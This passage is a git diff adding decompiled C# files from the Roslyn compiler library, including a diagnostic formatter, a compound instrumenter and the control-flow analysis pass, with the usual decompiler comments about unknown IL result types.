//IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + switch (syntax.Kind()) + { + case SyntaxKind.MethodDeclaration: + { + MethodDeclarationSyntax methodDeclarationSyntax = (MethodDeclarationSyntax)(object)syntax; + return SkipAttributes(syntax, methodDeclarationSyntax.AttributeLists, methodDeclarationSyntax.Modifiers, default(SyntaxToken), methodDeclarationSyntax.ReturnType); + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)(object)syntax; + return SkipAttributes(syntax, propertyDeclarationSyntax.AttributeLists, propertyDeclarationSyntax.Modifiers, default(SyntaxToken), propertyDeclarationSyntax.Type); + } + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + { + AccessorDeclarationSyntax accessorDeclarationSyntax = (AccessorDeclarationSyntax)(object)syntax; + return SkipAttributes(syntax, accessorDeclarationSyntax.AttributeLists, accessorDeclarationSyntax.Modifiers, accessorDeclarationSyntax.Keyword, null); + } + case SyntaxKind.ConstructorDeclaration: + { + ConstructorDeclarationSyntax constructorDeclarationSyntax = (ConstructorDeclarationSyntax)(object)syntax; + return SkipAttributes(syntax, constructorDeclarationSyntax.AttributeLists, constructorDeclarationSyntax.Modifiers, constructorDeclarationSyntax.Identifier, null); + } + case SyntaxKind.OperatorDeclaration: + { + OperatorDeclarationSyntax operatorDeclarationSyntax = (OperatorDeclarationSyntax)(object)syntax; + return SkipAttributes(syntax, operatorDeclarationSyntax.AttributeLists, operatorDeclarationSyntax.Modifiers, operatorDeclarationSyntax.OperatorKeyword, null); + } + default: + return syntax.Span; + } + } + + private static TextSpan SkipAttributes(SyntaxNode syntax, SyntaxList attributes, SyntaxTokenList modifiers, SyntaxToken keyword, TypeSyntax? type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = syntax.Span; + if (attributes.Count > 0) + { + TextSpan val = ((((SyntaxTokenList)(ref modifiers)).Node != null) ? ((SyntaxTokenList)(ref modifiers)).Span : ((((SyntaxToken)(ref keyword)).Node != null) ? ((SyntaxToken)(ref keyword)).Span : ((SyntaxNode)type).Span)); + return new TextSpan(((TextSpan)(ref val)).Start, ((TextSpan)(ref span)).Length - (((TextSpan)(ref val)).Start - ((TextSpan)(ref span)).Start)); + } + return span; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CollectionExpressionTypeKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CollectionExpressionTypeKind.cs new file mode 100644 index 0000000..9708219 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CollectionExpressionTypeKind.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum CollectionExpressionTypeKind +{ + None, + Array, + ImmutableArray, + Span, + ReadOnlySpan, + List, + CollectionBuilder, + ImplementsIEnumerableT, + ImplementsIEnumerable, + ArrayInterface +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CommandLineDiagnosticFormatter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CommandLineDiagnosticFormatter.cs new file mode 100644 index 0000000..0b60cf5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CommandLineDiagnosticFormatter.cs @@ -0,0 +1,86 @@ +using System; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CommandLineDiagnosticFormatter : CSharpDiagnosticFormatter +{ + private readonly string _baseDirectory; + + private readonly Lazy _lazyNormalizedBaseDirectory; + + private readonly bool _displayFullPaths; + + private readonly bool _displayEndLocations; + + internal CommandLineDiagnosticFormatter(string baseDirectory, bool displayFullPaths, bool displayEndLocations) + { + _baseDirectory = baseDirectory; + _displayFullPaths = displayFullPaths; + _displayEndLocations = displayEndLocations; + _lazyNormalizedBaseDirectory = new Lazy(() => FileUtilities.TryNormalizeAbsolutePath(baseDirectory)); + } + + internal override string FormatSourceSpan(LinePositionSpan span, IFormatProvider formatter) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + LinePosition val; + if (_displayEndLocations) + { + object[] array = new object[4]; + val = ((LinePositionSpan)(ref span)).Start; + array[0] = ((LinePosition)(ref val)).Line + 1; + val = ((LinePositionSpan)(ref span)).Start; + array[1] = ((LinePosition)(ref val)).Character + 1; + val = ((LinePositionSpan)(ref span)).End; + array[2] = ((LinePosition)(ref val)).Line + 1; + val = ((LinePositionSpan)(ref span)).End; + array[3] = ((LinePosition)(ref val)).Character + 1; + return string.Format(formatter, "({0},{1},{2},{3})", array); + } + val = ((LinePositionSpan)(ref span)).Start; + object arg = ((LinePosition)(ref val)).Line + 1; + val = ((LinePositionSpan)(ref span)).Start; + return string.Format(formatter, "({0},{1})", arg, ((LinePosition)(ref val)).Character + 1); + } + + internal override string FormatSourcePath(string path, string basePath, IFormatProvider formatter) + { + string text = FileUtilities.NormalizeRelativePath(path, basePath, _baseDirectory); + if (text == null) + { + return path; + } + if (!_displayFullPaths) + { + return RelativizeNormalizedPath(text); + } + return text; + } + + internal string RelativizeNormalizedPath(string normalizedPath) + { + string value = _lazyNormalizedBaseDirectory.Value; + if (value == null) + { + return normalizedPath; + } + if (PathUtilities.IsSameDirectoryOrChildOf(PathUtilities.GetDirectoryName(normalizedPath), value)) + { + return normalizedPath.Substring(PathUtilities.IsDirectorySeparator(StringExtensions.Last(value)) ? value.Length : (value.Length + 1)); + } + return normalizedPath; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CompoundInstrumenter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CompoundInstrumenter.cs new file mode 100644 index 0000000..8a142ea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CompoundInstrumenter.cs @@ -0,0 +1,220 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Shared.Collections; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class CompoundInstrumenter : Instrumenter +{ + public Instrumenter Previous { get; } + + public CompoundInstrumenter(Instrumenter previous) + { + Previous = previous; + } + + public CompoundInstrumenter WithPrevious(Instrumenter previous) + { + if (previous != Previous) + { + return WithPreviousImpl(previous); + } + return this; + } + + protected abstract CompoundInstrumenter WithPreviousImpl(Instrumenter previous); + + public override BoundStatement InstrumentNoOpStatement(BoundNoOpStatement original, BoundStatement rewritten) + { + return Previous.InstrumentNoOpStatement(original, rewritten); + } + + public override BoundStatement InstrumentYieldBreakStatement(BoundYieldBreakStatement original, BoundStatement rewritten) + { + return Previous.InstrumentYieldBreakStatement(original, rewritten); + } + + public override BoundStatement InstrumentYieldReturnStatement(BoundYieldReturnStatement original, BoundStatement rewritten) + { + return Previous.InstrumentYieldReturnStatement(original, rewritten); + } + + public override BoundStatement InstrumentThrowStatement(BoundThrowStatement original, BoundStatement rewritten) + { + return Previous.InstrumentThrowStatement(original, rewritten); + } + + public override BoundStatement InstrumentContinueStatement(BoundContinueStatement original, BoundStatement rewritten) + { + return Previous.InstrumentContinueStatement(original, rewritten); + } + + public override BoundStatement InstrumentGotoStatement(BoundGotoStatement original, BoundStatement rewritten) + { + return Previous.InstrumentGotoStatement(original, rewritten); + } + + public override BoundStatement InstrumentExpressionStatement(BoundExpressionStatement original, BoundStatement rewritten) + { + return Previous.InstrumentExpressionStatement(original, rewritten); + } + + public override BoundStatement InstrumentFieldOrPropertyInitializer(BoundStatement original, BoundStatement rewritten) + { + return Previous.InstrumentFieldOrPropertyInitializer(original, rewritten); + } + + public override BoundStatement InstrumentBreakStatement(BoundBreakStatement original, BoundStatement rewritten) + { + return Previous.InstrumentBreakStatement(original, rewritten); + } + + public override void PreInstrumentBlock(BoundBlock original, LocalRewriter rewriter) + { + Previous.PreInstrumentBlock(original, rewriter); + } + + public override void InstrumentBlock(BoundBlock original, LocalRewriter rewriter, ref TemporaryArray additionalLocals, out BoundStatement? prologue, out BoundStatement? epilogue, out BoundBlockInstrumentation? instrumentation) + { + Previous.InstrumentBlock(original, rewriter, ref additionalLocals, out prologue, out epilogue, out instrumentation); + } + + public override BoundExpression InstrumentDoStatementCondition(BoundDoStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentDoStatementCondition(original, rewrittenCondition, factory); + } + + public override BoundStatement InstrumentDoStatementConditionalGotoStart(BoundDoStatement original, BoundStatement ifConditionGotoStart) + { + return Previous.InstrumentDoStatementConditionalGotoStart(original, ifConditionGotoStart); + } + + public override BoundStatement? InstrumentForEachStatementCollectionVarDeclaration(BoundForEachStatement original, BoundStatement? collectionVarDecl) + { + return Previous.InstrumentForEachStatementCollectionVarDeclaration(original, collectionVarDecl); + } + + public override BoundStatement InstrumentForEachStatement(BoundForEachStatement original, BoundStatement rewritten) + { + return Previous.InstrumentForEachStatement(original, rewritten); + } + + public override BoundStatement InstrumentForEachStatementIterationVarDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return Previous.InstrumentForEachStatementIterationVarDeclaration(original, iterationVarDecl); + } + + public override BoundStatement InstrumentForStatementConditionalGotoStartOrBreak(BoundForStatement original, BoundStatement branchBack) + { + return Previous.InstrumentForStatementConditionalGotoStartOrBreak(original, branchBack); + } + + public override BoundStatement InstrumentForEachStatementConditionalGotoStart(BoundForEachStatement original, BoundStatement branchBack) + { + return Previous.InstrumentForEachStatementConditionalGotoStart(original, branchBack); + } + + public override BoundExpression InstrumentForStatementCondition(BoundForStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentForStatementCondition(original, rewrittenCondition, factory); + } + + public override BoundStatement InstrumentIfStatement(BoundIfStatement original, BoundStatement rewritten) + { + return Previous.InstrumentIfStatement(original, rewritten); + } + + public override BoundExpression InstrumentIfStatementCondition(BoundIfStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentIfStatementCondition(original, rewrittenCondition, factory); + } + + public override BoundStatement InstrumentLabelStatement(BoundLabeledStatement original, BoundStatement rewritten) + { + return Previous.InstrumentLabelStatement(original, rewritten); + } + + public override BoundStatement InstrumentUserDefinedLocalInitialization(BoundLocalDeclaration original, BoundStatement rewritten) + { + return Previous.InstrumentUserDefinedLocalInitialization(original, rewritten); + } + + public override BoundExpression InstrumentUserDefinedLocalAssignment(BoundAssignmentOperator original) + { + return Previous.InstrumentUserDefinedLocalAssignment(original); + } + + public override BoundExpression InstrumentCall(BoundCall original, BoundExpression rewritten) + { + return Previous.InstrumentCall(original, rewritten); + } + + public override BoundExpression InstrumentObjectCreationExpression(BoundObjectCreationExpression original, BoundExpression rewritten) + { + return Previous.InstrumentObjectCreationExpression(original, rewritten); + } + + public override BoundExpression InstrumentFunctionPointerInvocation(BoundFunctionPointerInvocation original, BoundExpression rewritten) + { + return Previous.InstrumentFunctionPointerInvocation(original, rewritten); + } + + public override BoundStatement InstrumentLockTargetCapture(BoundLockStatement original, BoundStatement lockTargetCapture) + { + return Previous.InstrumentLockTargetCapture(original, lockTargetCapture); + } + + public override BoundStatement InstrumentReturnStatement(BoundReturnStatement original, BoundStatement rewritten) + { + return Previous.InstrumentReturnStatement(original, rewritten); + } + + public override BoundStatement InstrumentSwitchStatement(BoundSwitchStatement original, BoundStatement rewritten) + { + return Previous.InstrumentSwitchStatement(original, rewritten); + } + + public override BoundStatement InstrumentSwitchWhenClauseConditionalGotoBody(BoundExpression original, BoundStatement ifConditionGotoBody) + { + return Previous.InstrumentSwitchWhenClauseConditionalGotoBody(original, ifConditionGotoBody); + } + + public override BoundStatement InstrumentUsingTargetCapture(BoundUsingStatement original, BoundStatement usingTargetCapture) + { + return Previous.InstrumentUsingTargetCapture(original, usingTargetCapture); + } + + public override BoundExpression InstrumentWhileStatementCondition(BoundWhileStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentWhileStatementCondition(original, rewrittenCondition, factory); + } + + public override BoundStatement InstrumentWhileStatementConditionalGotoStartOrBreak(BoundWhileStatement original, BoundStatement ifConditionGotoStart) + { + return Previous.InstrumentWhileStatementConditionalGotoStartOrBreak(original, ifConditionGotoStart); + } + + public override void InstrumentCatchBlock(BoundCatchBlock original, ref BoundExpression? rewrittenSource, ref BoundStatementList? rewrittenFilterPrologue, ref BoundExpression? rewrittenFilter, ref BoundBlock rewrittenBody, ref TypeSymbol? rewrittenType, SyntheticBoundNodeFactory factory) + { + Previous.InstrumentCatchBlock(original, ref rewrittenSource, ref rewrittenFilterPrologue, ref rewrittenFilter, ref rewrittenBody, ref rewrittenType, factory); + } + + public override BoundExpression InstrumentSwitchStatementExpression(BoundStatement original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentSwitchStatementExpression(original, rewrittenExpression, factory); + } + + public override BoundExpression InstrumentSwitchExpressionArmExpression(BoundExpression original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return Previous.InstrumentSwitchExpressionArmExpression(original, rewrittenExpression, factory); + } + + public override BoundStatement InstrumentSwitchBindCasePatternVariables(BoundStatement bindings) + { + return Previous.InstrumentSwitchBindCasePatternVariables(bindings); + } + + public override BoundStatement InstrumentForEachStatementDeconstructionVariablesDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + return Previous.InstrumentForEachStatementDeconstructionVariablesDeclaration(original, iterationVarDecl); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgress.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgress.cs new file mode 100644 index 0000000..9325ccb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgress.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ConstantFieldsInProgress +{ + private readonly SourceFieldSymbol _fieldOpt; + + private readonly HashSet _dependencies; + + internal static readonly ConstantFieldsInProgress Empty = new ConstantFieldsInProgress(null, null); + + public bool IsEmpty => (object)_fieldOpt == null; + + internal ConstantFieldsInProgress(SourceFieldSymbol fieldOpt, HashSet dependencies) + { + _fieldOpt = fieldOpt; + _dependencies = dependencies; + } + + internal void AddDependency(SourceFieldSymbolWithSyntaxReference field) + { + _dependencies.Add(field); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgressBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgressBinder.cs new file mode 100644 index 0000000..1824464 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConstantFieldsInProgressBinder.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ConstantFieldsInProgressBinder : Binder +{ + private readonly ConstantFieldsInProgress _inProgress; + + internal override ConstantFieldsInProgress ConstantFieldsInProgress => _inProgress; + + internal ConstantFieldsInProgressBinder(ConstantFieldsInProgress inProgress, Binder next) + : base(next, BinderFlags.FieldInitializer | next.Flags) + { + _inProgress = inProgress; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ContextualAttributeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ContextualAttributeBinder.cs new file mode 100644 index 0000000..fd21980 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ContextualAttributeBinder.cs @@ -0,0 +1,41 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ContextualAttributeBinder : Binder +{ + private readonly Symbol _attributeTarget; + + private readonly Symbol _attributedMember; + + internal Symbol AttributedMember => _attributedMember; + + internal Symbol AttributeTarget => _attributeTarget; + + public ContextualAttributeBinder(Binder enclosing, Symbol symbol) + : base(enclosing, enclosing.Flags | BinderFlags.InContextualAttributeBinder) + { + _attributeTarget = symbol; + _attributedMember = GetAttributedMember(symbol); + } + + internal static Symbol GetAttributedMember(Symbol symbol) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + while ((object)symbol != null) + { + SymbolKind kind = symbol.Kind; + if ((int)kind == 5 || (int)kind == 9 || (int)kind == 15) + { + return symbol; + } + symbol = symbol.ContainingSymbol; + } + return symbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ControlFlowPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ControlFlowPass.cs new file mode 100644 index 0000000..52b304a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ControlFlowPass.cs @@ -0,0 +1,403 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ControlFlowPass : AbstractFlowPass +{ + internal struct LocalState : ILocalState + { + internal bool Alive; + + internal bool Reported; + + public bool Reachable => Alive; + + internal LocalState(bool live, bool reported) + { + Alive = live; + Reported = reported; + } + + public LocalState Clone() + { + return this; + } + } + + internal sealed class LocalFunctionState : AbstractLocalFunctionState + { + public LocalFunctionState(LocalState unreachableState) + : base(unreachableState.Clone(), unreachableState.Clone()) + { + } + } + + private readonly PooledDictionary _labelsDefined = PooledDictionary.GetInstance(); + + private readonly PooledHashSet _labelsUsed = PooledHashSet.GetInstance(); + + protected bool _convertInsufficientExecutionStackExceptionToCancelledByStackGuardException; + + private readonly ArrayBuilder<(LocalSymbol symbol, BoundBlock block)> _usingDeclarations = ArrayBuilder<(LocalSymbol, BoundBlock)>.GetInstance(); + + private BoundBlock _currentBlock; + + public sealed override bool AwaitUsingAndForeachAddsPendingBranch => false; + + protected override void Free() + { + _labelsDefined.Free(); + _labelsUsed.Free(); + _usingDeclarations.Free(); + base.Free(); + } + + internal ControlFlowPass(CSharpCompilation compilation, Symbol member, BoundNode node) + : base(compilation, member, node, (BoundNode)null, (BoundNode)null, false, false) + { + } + + internal ControlFlowPass(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion, false, false) + { + } + + protected override LocalFunctionState CreateLocalFunctionState(LocalFunctionSymbol symbol) + { + return new LocalFunctionState(UnreachableState()); + } + + protected override bool Meet(ref LocalState self, ref LocalState other) + { + LocalState localState = self; + self.Alive &= other.Alive; + self.Reported &= other.Reported; + return self.Alive != localState.Alive; + } + + protected override bool Join(ref LocalState self, ref LocalState other) + { + LocalState localState = self; + self.Alive |= other.Alive; + self.Reported &= other.Reported; + return self.Alive != localState.Alive; + } + + protected override string Dump(LocalState state) + { + return "[alive: " + state.Alive + "; reported: " + state.Reported + "]"; + } + + protected override LocalState TopState() + { + return new LocalState(live: true, reported: false); + } + + protected override LocalState UnreachableState() + { + return new LocalState(live: false, State.Reported); + } + + protected override LocalState LabelState(LabelSymbol label) + { + LocalState result = base.LabelState(label); + result.Reported = false; + return result; + } + + public override BoundNode Visit(BoundNode node) + { + if (!(node is BoundExpression)) + { + return base.Visit(node); + } + return null; + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + base.Diagnostics.Clear(); + ImmutableArray result = base.Scan(ref badRegion); + LabelSymbol labelSymbol = default(LabelSymbol); + BoundNode boundNode = default(BoundNode); + foreach (KeyValuePair item in (Dictionary)(object)_labelsDefined) + { + KeyValuePairUtil.Deconstruct(item, ref labelSymbol, ref boundNode); + LabelSymbol labelSymbol2 = labelSymbol; + if (!(boundNode is BoundSwitchStatement) && !((HashSet)(object)_labelsUsed).Contains(labelSymbol2)) + { + base.Diagnostics.Add(ErrorCode.WRN_UnreferencedLabel, labelSymbol2.GetFirstLocation()); + } + } + return result; + } + + public static bool Analyze(CSharpCompilation compilation, Symbol member, BoundBlock block, DiagnosticBag diagnostics) + { + ControlFlowPass controlFlowPass = new ControlFlowPass(compilation, member, block); + if (diagnostics != null) + { + controlFlowPass._convertInsufficientExecutionStackExceptionToCancelledByStackGuardException = true; + } + try + { + bool badRegion = false; + return controlFlowPass.Analyze(ref badRegion, diagnostics); + } + catch (CancelledByStackGuardException ex) when (diagnostics != null) + { + ex.AddAnError(diagnostics); + return true; + } + finally + { + controlFlowPass.Free(); + } + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return _convertInsufficientExecutionStackExceptionToCancelledByStackGuardException; + } + + protected bool Analyze(ref bool badRegion, DiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + Analyze(ref badRegion); + if (diagnostics != null) + { + diagnostics.AddRange(base.Diagnostics); + } + return State.Alive; + } + + protected override ImmutableArray RemoveReturns() + { + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Expected O, but got Unknown + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + ImmutableArray result = base.RemoveReturns(); + ImmutableArray.Enumerator enumerator = result.GetEnumerator(); + while (enumerator.MoveNext()) + { + PendingBranch current = enumerator.Current; + if (current.Branch != null) + { + switch (current.Branch.Kind) + { + case BoundKind.GotoStatement: + { + SyntaxToken firstToken = current.Branch.Syntax.GetFirstToken(false, false, false, false); + SourceLocation location2 = new SourceLocation(ref firstToken); + base.Diagnostics.Add(ErrorCode.ERR_LabelNotFound, (Location)(object)location2, ((BoundGotoStatement)current.Branch).Label.Name); + break; + } + case BoundKind.BreakStatement: + case BoundKind.ContinueStatement: + { + SyntaxToken firstToken = current.Branch.Syntax.GetFirstToken(false, false, false, false); + SourceLocation location = new SourceLocation(ref firstToken); + base.Diagnostics.Add(ErrorCode.ERR_BadDelegateLeave, (Location)(object)location); + break; + } + } + } + } + return result; + } + + protected override void VisitStatement(BoundStatement statement) + { + switch (statement.Kind) + { + case BoundKind.Block: + case BoundKind.LocalFunctionStatement: + case BoundKind.NoOpStatement: + case BoundKind.ThrowStatement: + case BoundKind.LabeledStatement: + base.VisitStatement(statement); + break; + case BoundKind.StatementList: + VisitStatementList((BoundStatementList)statement); + break; + default: + CheckReachable(statement); + base.VisitStatement(statement); + break; + } + } + + private void CheckReachable(BoundStatement statement) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + if (!State.Alive && !State.Reported && !statement.WasCompilerGenerated) + { + TextSpan span = statement.Syntax.Span; + if (((TextSpan)(ref span)).Length != 0) + { + SyntaxToken firstToken = statement.Syntax.GetFirstToken(false, false, false, false); + base.Diagnostics.Add(ErrorCode.WRN_UnreachableCode, (Location)new SourceLocation(ref firstToken)); + State.Reported = true; + } + } + } + + protected override void VisitTryBlock(BoundStatement tryBlock, BoundTryStatement node, ref LocalState tryState) + { + if (node.CatchBlocks.IsEmpty) + { + base.VisitTryBlock(tryBlock, node, ref tryState); + return; + } + SavedPending oldPending = SavePending(); + base.VisitTryBlock(tryBlock, node, ref tryState); + RestorePending(oldPending); + } + + protected override void VisitCatchBlock(BoundCatchBlock catchBlock, ref LocalState finallyState) + { + SavedPending oldPending = SavePending(); + base.VisitCatchBlock(catchBlock, ref finallyState); + RestorePending(oldPending); + } + + protected override void VisitFinallyBlock(BoundStatement finallyBlock, ref LocalState endState) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + SavedPending oldPending = SavePending(); + SavedPending oldPending2 = SavePending(); + base.VisitFinallyBlock(finallyBlock, ref endState); + RestorePending(oldPending2); + foreach (PendingBranch item in base.PendingBranches.AsEnumerable()) + { + if (item.Branch != null) + { + SyntaxToken firstToken = item.Branch.Syntax.GetFirstToken(false, false, false, false); + SourceLocation location = new SourceLocation(ref firstToken); + BoundKind kind = item.Branch.Kind; + if (kind - 89 > BoundKind.PropertyEqualsValue) + { + base.Diagnostics.Add(ErrorCode.ERR_BadFinallyLeave, (Location)(object)location); + } + } + } + RestorePending(oldPending); + } + + protected override void VisitLabel(BoundLabeledStatement node) + { + ((Dictionary)(object)_labelsDefined)[node.Label] = _currentBlock; + base.VisitLabel(node); + } + + public override BoundNode VisitLabeledStatement(BoundLabeledStatement node) + { + VisitLabel(node); + CheckReachable(node); + VisitStatement(node.Body); + return null; + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + ((HashSet)(object)_labelsUsed).Add(node.Label); + Location location = node.Syntax.Location; + TextSpan sourceSpan = location.SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + sourceSpan = node.Label.GetFirstLocation().SourceSpan; + int start2 = ((TextSpan)(ref sourceSpan)).Start; + Enumerator<(LocalSymbol, BoundBlock)> enumerator = _usingDeclarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + (LocalSymbol, BoundBlock) current = enumerator.Current; + sourceSpan = current.Item1.GetFirstLocation().SourceSpan; + int start3 = ((TextSpan)(ref sourceSpan)).Start; + if (start < start3 && start2 > start3) + { + base.Diagnostics.Add(ErrorCode.ERR_GoToForwardJumpOverUsingVar, location); + break; + } + if (start > 